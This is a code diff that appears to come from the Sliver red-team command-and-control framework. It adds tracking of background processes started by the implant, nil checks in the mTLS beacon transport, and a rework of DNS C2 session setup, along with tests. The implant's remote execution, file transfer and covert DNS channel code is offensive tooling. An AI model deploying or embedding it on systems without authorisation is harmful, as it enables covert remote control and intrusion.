github.com/slack-go/slack v0.17.3 h1:zV5qO3Q+WJAQ/XwbGfNFrRMaJ5T/naqaonyPV/1TP4g=
github.com/slack-go/slack v0.17.3/go.mod h1:X+UqOufi3LYQHDnMG1vxf0J8asC6+WllXrVrhl8/Prk=
github.com/sliverarmory/wasm-donut v0.0.2 h1:XAiV5MxDhSqnq4J45dZEM4u9JIN5aI1enhqNjiFGdtM=
github.com/sliverarmory/wasm-donut v0.0.2/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
github.com/sliverarmory/beignet v0.0.2 h1:kUpztl/yEKp/U3FFulguC7r+qKjmBIg0AwLKJnZpDVA=
github.com/sliverarmory/beignet v0.0.2/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4=
github.com/sliverarmory/malasada v0.0.2 h1:X2+7dNGPWfm4ijsr/rMvZlIMalskdCVpBZUYs50RHIA=
github.com/sliverarmory/malasada v0.0.2/go.mod h1:F96IgTOoX72FU995F+Jip0ni8Z5sXiYOwfmlRGobJkQ=
github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE=
github.com/sliverarmory/wasm-donut v0.0.3/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM=
@@ -1096,5 +1100,3 @@ software.sslmate.com/src/go-pkcs12 v0.4.0 h1:H2g08FrTvSFKUj+D309j1DPfk5APnIdAQAB
software.sslmate.com/src/go-pkcs12 v0.4.0/go.mod h1:Qiz0EyvDRJjjxGyUQa2cCNZn/wMyzrRJ/qcDXOQazLI=
tailscale.com v1.92.5 h1:h88HqtGk8jd9umF7l6m/8+QK69dY9IVMIlkNK9XYpvQ=
tailscale.com v1.92.5/go.mod h1:jzTfKDd6XNNSNoX+Q9INIMpMU5rfZ9g8ojcAoMKi5w0=
github.com/hashicorp/yamux v0.1.2 h1:XtB8kyFOyHXYVFnwT5C3+Bdo8gArse7j2AQ0DA0Uey8=
github.com/hashicorp/yamux v0.1.2/go.mod h1:C+zze2n6e/7wshOZep2A70/aQU6QBRWJO/G6FT1wIns=
+204
View File
@@ -0,0 +1,204 @@
package handlers
import (
"os"
"os/exec"
"sort"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
const (
maxTrackedExecuteChildren = 256
)
type executeChildEntry struct {
PID int32
Path string
Args []string
Stdout string
Stderr string
StartTime int64
Exited bool
ExitCode int32
ExitTime int64
Error string
cmd *exec.Cmd
}
var (
executeChildrenMu sync.RWMutex
trackedExecuteChildren = map[int32]*executeChildEntry{}
)
func trimTrackedExecuteChildrenLocked() {
if len(trackedExecuteChildren) <= maxTrackedExecuteChildren {
return
}
// Prefer trimming completed entries first, oldest exit time first.
exited := make([]*executeChildEntry, 0, len(trackedExecuteChildren))
for _, entry := range trackedExecuteChildren {
if entry.Exited {
exited = append(exited, entry)
}
}
sort.Slice(exited, func(i, j int) bool {
return exited[i].ExitTime < exited[j].ExitTime
})
for len(trackedExecuteChildren) > maxTrackedExecuteChildren && 0 < len(exited) {
delete(trackedExecuteChildren, exited[0].PID)
exited = exited[1:]
}
}
func startExecuteChild(cmd *exec.Cmd, track bool, path string, args []string, stdoutPath string, stderrPath string) (int32, error) {
var (
stdoutFile *os.File
stderrFile *os.File
err error
)
startTime := time.Now().Unix()
if stdoutPath != "" {
stdoutFile, err = os.Create(stdoutPath)
if err != nil {
return 0, err
}
cmd.Stdout = stdoutFile
}
if stderrPath != "" {
stderrFile, err = os.Create(stderrPath)
if err != nil {
if stdoutFile != nil {
stdoutFile.Close()
}
return 0, err
}
cmd.Stderr = stderrFile
}
err = cmd.Start()
if err != nil {
if stdoutFile != nil {
stdoutFile.Close()
}
if stderrFile != nil {
stderrFile.Close()
}
return 0, err
}
var pid int32
if cmd.Process != nil {
pid = int32(cmd.Process.Pid)
}
if track && pid != 0 {
entry := &executeChildEntry{
PID: pid,
Path: path,
Args: append([]string(nil), args...),
Stdout: stdoutPath,
Stderr: stderrPath,
StartTime: startTime,
cmd: cmd,
}
executeChildrenMu.Lock()
trackedExecuteChildren[pid] = entry
trimTrackedExecuteChildrenLocked()
executeChildrenMu.Unlock()
}
go func(pid int32, cmd *exec.Cmd, stdoutFile *os.File, stderrFile *os.File, track bool) {
waitErr := cmd.Wait()
exitCode := int32(0)
waitErrStr := ""
if waitErr != nil {
if exitErr, ok := waitErr.(*exec.ExitError); ok {
exitCode = int32(exitErr.ExitCode())
} else {
exitCode = -1
waitErrStr = waitErr.Error()
}
}
if track && pid != 0 {
executeChildrenMu.Lock()
entry := trackedExecuteChildren[pid]
if entry != nil {
entry.Exited = true
entry.ExitCode = exitCode
entry.ExitTime = time.Now().Unix()
entry.Error = waitErrStr
entry.cmd = nil
}
executeChildrenMu.Unlock()
}
if stdoutFile != nil {
stdoutFile.Close()
}
if stderrFile != nil {
stderrFile.Close()
}
}(pid, cmd, stdoutFile, stderrFile, track)
return pid, nil
}
func snapshotExecuteChildren() []*sliverpb.ExecuteChild {
executeChildrenMu.RLock()
children := make([]*sliverpb.ExecuteChild, 0, len(trackedExecuteChildren))
for _, entry := range trackedExecuteChildren {
children = append(children, &sliverpb.ExecuteChild{
Pid: entry.PID,
Path: entry.Path,
Args: append([]string(nil), entry.Args...),
StartTime: entry.StartTime,
Exited: entry.Exited,
ExitCode: entry.ExitCode,
ExitTime: entry.ExitTime,
Stdout: entry.Stdout,
Stderr: entry.Stderr,
Error: entry.Error,
})
}
executeChildrenMu.RUnlock()
sort.Slice(children, func(i, j int) bool {
return children[i].StartTime < children[j].StartTime
})
return children
}
func executeChildrenHandler(data []byte, resp RPCResponse) {
req := &sliverpb.ExecuteChildrenReq{}
err := proto.Unmarshal(data, req)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
execChildren := &sliverpb.ExecuteChildren{
Children: snapshotExecuteChildren(),
Response: &commonpb.Response{},
}
data, err = proto.Marshal(execChildren)
resp(data, err)
}
+6 -11
View File
@@ -1181,7 +1181,7 @@ func executeHandler(data []byte, resp RPCResponse) {
}
}
if execReq.Output {
if execReq.Output && !execReq.Background {
stdOutBuff := new(bytes.Buffer)
stdErrBuff := new(bytes.Buffer)
stdErr = stdErrBuff
@@ -1242,19 +1242,14 @@ func executeHandler(data []byte, resp RPCResponse) {
execResp.Pid = uint32(cmd.Process.Pid)
}
} else {
err = cmd.Start()
if err != nil {
pid, startErr := startExecuteChild(cmd, execReq.Background, exePath, execReq.Args, execReq.Stdout, execReq.Stderr)
if startErr != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
Err: fmt.Sprintf("%s", startErr),
}
}
go func() {
cmd.Wait()
}()
if cmd.Process != nil {
execResp.Pid = uint32(cmd.Process.Pid)
if pid != 0 {
execResp.Pid = uint32(pid)
}
}
data, err = proto.Marshal(execResp)
+20 -19
View File
@@ -33,25 +33,26 @@ import (
var (
darwinHandlers = map[uint32]RPCHandler{
pb.MsgPsReq: psHandler,
pb.MsgTerminateReq: terminateHandler,
pb.MsgPing: pingHandler,
pb.MsgLsReq: dirListHandler,
pb.MsgDownloadReq: downloadHandler,
pb.MsgUploadReq: uploadHandler,
pb.MsgCdReq: cdHandler,
pb.MsgPwdReq: pwdHandler,
pb.MsgRmReq: rmHandler,
pb.MsgMkdirReq: mkdirHandler,
pb.MsgMvReq: mvHandler,
pb.MsgCpReq: cpHandler,
pb.MsgIfconfigReq: ifconfigHandler,
pb.MsgExecuteReq: executeHandler,
pb.MsgEnvReq: getEnvHandler,
pb.MsgSetEnvReq: setEnvHandler,
pb.MsgUnsetEnvReq: unsetEnvHandler,
pb.MsgChtimesReq: chtimesHandler,
pb.MsgGrepReq: grepHandler,
pb.MsgPsReq: psHandler,
pb.MsgTerminateReq: terminateHandler,
pb.MsgPing: pingHandler,
pb.MsgLsReq: dirListHandler,
pb.MsgDownloadReq: downloadHandler,
pb.MsgUploadReq: uploadHandler,
pb.MsgCdReq: cdHandler,
pb.MsgPwdReq: pwdHandler,
pb.MsgRmReq: rmHandler,
pb.MsgMkdirReq: mkdirHandler,
pb.MsgMvReq: mvHandler,
pb.MsgCpReq: cpHandler,
pb.MsgIfconfigReq: ifconfigHandler,
pb.MsgExecuteReq: executeHandler,
pb.MsgExecuteChildrenReq: executeChildrenHandler,
pb.MsgEnvReq: getEnvHandler,
pb.MsgSetEnvReq: setEnvHandler,
pb.MsgUnsetEnvReq: unsetEnvHandler,
pb.MsgChtimesReq: chtimesHandler,
pb.MsgGrepReq: grepHandler,
pb.MsgScreenshotReq: screenshotHandler,
pb.MsgNetstatReq: netstatHandler,
+18 -17
View File
@@ -34,23 +34,24 @@ import (
var (
genericHandlers = map[uint32]RPCHandler{
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgChtimesReq: chtimesHandler,
sliverpb.MsgGrepReq: grepHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgChtimesReq: chtimesHandler,
sliverpb.MsgGrepReq: grepHandler,
// Wasm Extensions - Note that execution can be done via a tunnel handler
sliverpb.MsgRegisterWasmExtensionReq: registerWasmExtensionHandler,
+19 -18
View File
@@ -45,24 +45,25 @@ import (
var (
linuxHandlers = map[uint32]RPCHandler{
sliverpb.MsgPsReq: psHandler,
sliverpb.MsgTerminateReq: terminateHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgTaskReq: taskHandler,
sliverpb.MsgIfconfigReq: ifconfigLinuxHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgPsReq: psHandler,
sliverpb.MsgTerminateReq: terminateHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgTaskReq: taskHandler,
sliverpb.MsgIfconfigReq: ifconfigLinuxHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgScreenshotReq: screenshotHandler,
+26 -19
View File
@@ -96,21 +96,22 @@ var (
sliverpb.MsgMountReq: mountHandler,
// Generic
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgChtimesReq: chtimesHandler,
sliverpb.MsgGrepReq: grepHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgChtimesReq: chtimesHandler,
sliverpb.MsgGrepReq: grepHandler,
// Extensions
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
@@ -386,7 +387,7 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
}
}
if execReq.Output {
if execReq.Output && !execReq.Background {
stdOutBuff := new(bytes.Buffer)
stdErrBuff := new(bytes.Buffer)
stdErr = stdErrBuff
@@ -443,13 +444,19 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
}
execResp.Stderr = stdErrBuff.Bytes()
execResp.Stdout = stdOutBuff.Bytes()
if cmd.Process != nil {
execResp.Pid = uint32(cmd.Process.Pid)
}
} else {
err = cmd.Start()
if err != nil {
pid, startErr := startExecuteChild(cmd, execReq.Background, exePath, execReq.Args, execReq.Stdout, execReq.Stderr)
if startErr != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
Err: fmt.Sprintf("%s", startErr),
}
}
if pid != 0 {
execResp.Pid = uint32(pid)
}
}
data, err = proto.Marshal(execResp)
resp(data, err)
+24 -1
View File
@@ -37,6 +37,8 @@ import (
// {{end}}
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
"errors"
"github.com/hashicorp/yamux"
// {{end}}
@@ -46,7 +48,6 @@ import (
// {{end}}
// {{if .Config.IncludeWG}}
"errors"
"net"
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
@@ -208,6 +209,9 @@ func mtlsBeacon(uri *url.URL) *Beacon {
if err != nil {
return err
}
if conn == nil {
return errors.New("[mtls] connect returned nil conn")
}
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
_ = conn.Close()
return err
@@ -217,21 +221,40 @@ func mtlsBeacon(uri *url.URL) *Beacon {
_ = conn.Close()
return err
}
if muxSession == nil {
_ = conn.Close()
return errors.New("[mtls] failed to create yamux session (nil)")
}
return nil
},
Recv: func() (*pb.Envelope, error) {
if muxSession == nil {
return nil, errors.New("[mtls] recv called with nil yamux session")
}
stream, err := muxSession.Accept()
if err != nil {
return nil, err
}
if isNilInterface(stream) {
return nil, errors.New("[mtls] accept returned nil stream")
}
defer stream.Close()
return mtls.ReadEnvelope(stream)
},
Send: func(envelope *pb.Envelope) error {
if envelope == nil {
return errors.New("[mtls] nil envelope")
}
if muxSession == nil {
return errors.New("[mtls] send called with nil yamux session")
}
stream, err := muxSession.Open()
if err != nil {
return err
}
if isNilInterface(stream) {
return errors.New("[mtls] open returned nil stream")
}
defer stream.Close()
return mtls.WriteEnvelope(stream, envelope)
},
@@ -46,6 +46,7 @@ import (
"encoding/binary"
"errors"
"hash/crc32"
"net"
"net/url"
"strconv"
"strings"
@@ -278,24 +279,23 @@ func (s *SliverDNSClient) SessionInit() error {
}
s.resolvers = []DNSResolver{}
for _, server := range s.resolvConf.Servers {
address, port := splitResolverAddress(server, s.resolvConf.Port)
s.resolvers = append(s.resolvers,
NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
NewGenericResolver(address, port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
)
}
// {{if .Config.Debug}}
log.Printf("[dns] found resolvers: %v", s.resolvConf.Servers)
// {{end}}
err = s.getDNSSessionID() // Get a 'dns session id'
if err != nil {
return err
}
s.fingerprintResolvers() // Fingerprint the resolvers
if len(s.resolvers) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no working resolvers!")
// {{end}}
return errNoResolvers
// Generate a random session ID locally. The server will only allocate state
// after a successful INIT, which avoids an unauthenticated session bootstrap.
if s.dnsSessionID == 0 {
sid, err := s.randomDNSSessionID()
if err != nil {
return err
}
s.dnsSessionID = sid
}
// Key agreement with server
@@ -308,39 +308,40 @@ func (s *SliverDNSClient) SessionInit() error {
// {{end}}
return err
}
resolver, _ := s.randomResolver()
initMsg := &dnspb.DNSMessage{
ID: s.nextMsgID(),
Type: dnspb.DNSMessageType_INIT,
Size: uint32(len(initData)),
}
respData, err := s.sendInit(resolver, s.base32, initMsg, initData)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[dns] init msg send failure %v", err)
// {{end}}
return err
}
if len(respData) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no data received in message")
// {{end}}
return ErrEmptyResponse
var respData []byte
var initErr error
for _, resolver := range s.resolvers {
respData, initErr = s.sendInit(resolver, s.base32, initMsg, initData)
if initErr != nil {
continue
}
if len(respData) < 1 {
initErr = ErrEmptyResponse
continue
}
data, err := s.cipherCtx.Decrypt(respData)
if err != nil {
initErr = err
continue
}
if binary.LittleEndian.Uint32(data)&sessionIDBitMask != s.dnsSessionID {
initErr = errInvalidDNSSessionID
continue
}
initErr = nil
break
}
data, err := s.cipherCtx.Decrypt(respData)
if err != nil {
if initErr != nil {
// {{if .Config.Debug}}
log.Printf("[dns] init msg decryption failure %v", err)
log.Printf("[dns] init msg send failure %v", initErr)
// {{end}}
return err
}
if binary.LittleEndian.Uint32(data)&sessionIDBitMask != s.dnsSessionID {
// {{if .Config.Debug}}
log.Printf("[dns] init msg dns session id mismatch")
// {{end}}
return err
return initErr
}
// Good to go!
@@ -348,6 +349,16 @@ func (s *SliverDNSClient) SessionInit() error {
log.Printf("[dns] key exchange was successful!")
// {{end}}
// Now that we have a server-side session, benchmark/fingerprint resolvers and
// drop ones that error.
s.fingerprintResolvers()
if len(s.resolvers) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no working resolvers!")
// {{end}}
return errNoResolvers
}
// {{if .Config.Debug}}
log.Printf("[dns] starting worker(s) ...")
// {{end}}
@@ -778,40 +789,19 @@ func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.En
return subdata, nil
}
func (s *SliverDNSClient) getDNSSessionID() error {
otpMsg, err := s.otpMsg()
if err != nil {
return err
}
otpDomain, err := s.joinSubdataToParent(otpMsg)
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Printf("[dns] Fetching dns session id via '%s' ...", otpDomain)
// {{end}}
var a []byte
for _, resolver := range s.resolvers {
a, _, err = resolver.A(otpDomain)
if err == nil {
break
func (s *SliverDNSClient) randomDNSSessionID() (uint32, error) {
// sessionID is 24-bit and must be non-zero.
randBuf := make([]byte, 4)
for {
_, err := rand.Read(randBuf)
if err != nil {
return 0, err
}
sid := binary.LittleEndian.Uint32(randBuf) & sessionIDBitMask
if sid != 0 {
return sid, nil
}
}
if err != nil {
return err // All resolvers failed
}
if len(a) < 1 {
return errInvalidDNSSessionID
}
s.dnsSessionID = binary.LittleEndian.Uint32(a) & sessionIDBitMask
if s.dnsSessionID == 0 {
return errInvalidDNSSessionID
}
// {{if .Config.Debug}}
log.Printf("[dns] dns session id: %d", s.dnsSessionID)
// {{end}}
return nil
}
func (s *SliverDNSClient) loadResolvConf() error {
@@ -847,6 +837,24 @@ func (s *SliverDNSClient) loadResolvConf() error {
return err
}
func splitResolverAddress(server string, defaultPort string) (string, string) {
server = strings.TrimSpace(server)
if server == "" {
return "", defaultPort
}
// Allow tests/operators to specify an explicit port, e.g. "127.0.0.1:5353"
// or "[::1]:5353". Raw IPv6 addresses in resolv.conf typically do not include
// a port and will fail SplitHostPort, in which case we fall back to defaultPort.
if host, port, err := net.SplitHostPort(server); err == nil {
return host, port
}
if strings.HasPrefix(server, "[") && strings.HasSuffix(server, "]") {
return strings.TrimSuffix(strings.TrimPrefix(server, "["), "]"), defaultPort
}
return server, defaultPort
}
// Joins subdata to the parent domain, you must have already done the math to
// ensure the subdata can fit in the domain
func (s *SliverDNSClient) joinSubdataToParent(subdata string) (string, error) {
@@ -893,19 +901,6 @@ func (s *SliverDNSClient) clearMsg(msgId uint32) (string, error) {
return string(msg), nil
}
func (s *SliverDNSClient) otpMsg() (string, error) {
otpMsg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_TOTP,
ID: uint32(0), // Take advantage of the variable length encoding
}
data, err := proto.Marshal(otpMsg)
if err != nil {
return "", err
}
msg, _ := s.base32.Encode(data)
return string(msg), nil
}
// fingerprintResolver - Fingerprints resolve to validate base32 transport.
func (s *SliverDNSClient) fingerprintResolvers() {
wg := &sync.WaitGroup{}
@@ -230,28 +230,17 @@ func clientSplitBuffer(t *testing.T, client *SliverDNSClient, encoder encoders.E
}
}
func TestOTPMsgRoundTrip(t *testing.T) {
func TestRandomDNSSessionID(t *testing.T) {
client := NewDNSClient(parent1, opts)
encoded, err := client.otpMsg()
sid, err := client.randomDNSSessionID()
if err != nil {
t.Fatalf("Unexpected otpMsg error: %s", err)
t.Fatalf("Unexpected randomDNSSessionID error: %s", err)
}
if !isBase32String(encoded) {
t.Fatalf("otpMsg contains non-base32 characters: %s", encoded)
if sid == 0 {
t.Fatal("expected non-zero dns session id")
}
raw, err := encoders.Base32{}.Decode([]byte(encoded))
if err != nil {
t.Fatalf("Unexpected otpMsg decode error: %s", err)
}
msg := &dnspb.DNSMessage{}
if err := proto.Unmarshal(raw, msg); err != nil {
t.Fatalf("Unexpected otpMsg unmarshal error: %s", err)
}
if msg.Type != dnspb.DNSMessageType_TOTP {
t.Fatalf("Unexpected otpMsg type: %v", msg.Type)
}
if msg.ID != 0 {
t.Fatalf("Unexpected otpMsg id: %d", msg.ID)
if (sid & ^uint32(sessionIDBitMask)) != 0 {
t.Fatalf("expected 24-bit session id, got: 0x%08x", sid)
}
}
@@ -22,6 +22,7 @@ import (
"crypto/rand"
"encoding/binary"
"errors"
"net"
"strings"
"time"
@@ -44,7 +45,7 @@ func NewGenericResolver(address string, port string, retryWait time.Duration, re
retries = 1
}
return &GenericResolver{
address: address + ":" + port,
address: net.JoinHostPort(address, port),
retries: retries,
retryWait: retryWait,
resolver: &dns.Client{
+45 -11
View File
@@ -21,7 +21,6 @@ package mtls
// {{if .Config.IncludeMTLS}}
import (
"bytes"
"crypto/ed25519"
"crypto/sha256"
"crypto/tls"
@@ -30,6 +29,7 @@ import (
"errors"
"fmt"
"io"
"reflect"
"sync"
"time"
@@ -90,43 +90,77 @@ func mtlsEnvelopeSigningKey() (ed25519.PrivateKey, uint64, error) {
return envelopeSigningPriv, envelopeSigningKeyID, envelopeSigningErr
}
func isNilInterface(v any) bool {
if v == nil {
return true
}
rv := reflect.ValueOf(v)
switch rv.Kind() {
case reflect.Chan, reflect.Func, reflect.Map, reflect.Pointer, reflect.Interface, reflect.Slice:
return rv.IsNil()
default:
return false
}
}
func writeAll(w io.Writer, p []byte) error {
for len(p) > 0 {
n, err := w.Write(p)
if err != nil {
return err
}
if n <= 0 {
return io.ErrShortWrite
}
p = p[n:]
}
return nil
}
// WriteEnvelope - Writes a message to the TLS socket using length prefix framing
// which is a fancy way of saying we write the length of the message then the message
// e.g. [uint32 length|message] so the receiver can delimit messages properly
func WriteEnvelope(w io.Writer, envelope *pb.Envelope) error {
if envelope == nil {
return errors.New("[mtls] nil envelope")
}
if isNilInterface(w) {
return errors.New("[mtls] nil writer")
}
data, err := proto.Marshal(envelope)
if err != nil {
// {{if .Config.Debug}}
log.Print("Envelope marshaling error: ", err)
// {{end}}
return err
return fmt.Errorf("[mtls] marshal envelope: %w", err)
}
signingKey, keyID, err := mtlsEnvelopeSigningKey()
if err != nil {
return err
return fmt.Errorf("[mtls] envelope signing key: %w", err)
}
rawSigBuf := make([]byte, cryptography.RawSigSize)
binary.LittleEndian.PutUint16(rawSigBuf[:2], cryptography.EdDSA)
binary.LittleEndian.PutUint64(rawSigBuf[2:10], keyID)
copy(rawSigBuf[10:], ed25519.Sign(signingKey, data))
if _, werr := w.Write(rawSigBuf); werr != nil {
return werr
if werr := writeAll(w, rawSigBuf); werr != nil {
return fmt.Errorf("[mtls] write raw signature: %w", werr)
}
dataLengthBuf := new(bytes.Buffer)
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
if _, werr := w.Write(dataLengthBuf.Bytes()); werr != nil {
var dataLengthBuf [4]byte
binary.LittleEndian.PutUint32(dataLengthBuf[:], uint32(len(data)))
if werr := writeAll(w, dataLengthBuf[:]); werr != nil {
// {{if .Config.Debug}}
log.Print("Error writing data length: ", werr)
// {{end}}
return werr
return fmt.Errorf("[mtls] write data length: %w", werr)
}
if _, werr := w.Write(data); werr != nil {
if werr := writeAll(w, data); werr != nil {
// {{if .Config.Debug}}
log.Print("Error writing data: ", werr)
// {{end}}
return werr
return fmt.Errorf("[mtls] write data: %w", werr)
}
return nil
}
@@ -0,0 +1,47 @@
package mtls
import (
"bytes"
"crypto/tls"
"testing"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
)
func TestWriteEnvelope_NilEnvelope(t *testing.T) {
t.Parallel()
var buf bytes.Buffer
if err := WriteEnvelope(&buf, nil); err == nil {
t.Fatalf("expected error for nil envelope")
}
}
func TestWriteEnvelope_NilWriter(t *testing.T) {
t.Parallel()
defer func() {
if r := recover(); r != nil {
t.Fatalf("WriteEnvelope panicked: %v", r)
}
}()
if err := WriteEnvelope(nil, &pb.Envelope{}); err == nil {
t.Fatalf("expected error for nil writer")
}
}
func TestWriteEnvelope_NilTLSConnWriter(t *testing.T) {
t.Parallel()
defer func() {
if r := recover(); r != nil {
t.Fatalf("WriteEnvelope panicked: %v", r)
}
}()
var conn *tls.Conn
if err := WriteEnvelope(conn, &pb.Envelope{}); err == nil {
t.Fatalf("expected error for nil *tls.Conn writer")
}
}
+17
View File
@@ -0,0 +1,17 @@
package transports
import "reflect"
// isNilInterface returns true if v is nil, or if v is an interface value holding a nil pointer.
func isNilInterface(v any) bool {
if v == nil {
return true
}
rv := reflect.ValueOf(v)
switch rv.Kind() {
case reflect.Chan, reflect.Func, reflect.Map, reflect.Pointer, reflect.Interface, reflect.Slice:
return rv.IsNil()
default:
return false
}
}
+28 -2
View File
@@ -25,7 +25,9 @@ import (
// {{end}}
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
"errors"
"strconv"
// {{end}}
// {{if .Config.Debug}}
@@ -45,8 +47,6 @@ import (
// {{end}}
// {{if .Config.IncludeWG}}
"errors"
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
"golang.zx2c4.com/wireguard/device"
@@ -257,6 +257,13 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
if err != nil {
return err
}
if conn == nil {
errMsg := ""
// {{if .Config.Debug}}
errMsg = "mtls connection returned nil conn"
// {{end}}
return errors.New(errMsg)
}
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
conn.Close()
return err
@@ -266,6 +273,14 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
conn.Close()
return err
}
if muxSession == nil {
conn.Close()
errMsg := ""
// {{if .Config.Debug}}
errMsg = "[mtls] failed to create yamux session (nil)"
// {{end}}
return errors.New(errMsg)
}
connection.IsOpen = true
go func() {
@@ -292,6 +307,10 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
connection.Cleanup()
return
}
if isNilInterface(stream) {
connection.Cleanup()
return
}
defer stream.Close()
if err := mtls.WriteEnvelope(stream, envelope); err != nil {
connection.Cleanup()
@@ -315,6 +334,10 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
connection.Cleanup()
return
}
if isNilInterface(stream) {
connection.Cleanup()
return
}
defer stream.Close()
if err := mtls.WritePing(stream); err != nil {
connection.Cleanup()
@@ -346,6 +369,9 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
if err != nil {
return
}
if isNilInterface(stream) {
return
}
select {
case streamSem <- struct{}{}:
-83
View File
@@ -1,83 +0,0 @@
package yamuxtest
import (
"bytes"
"fmt"
"io"
"net"
"sync"
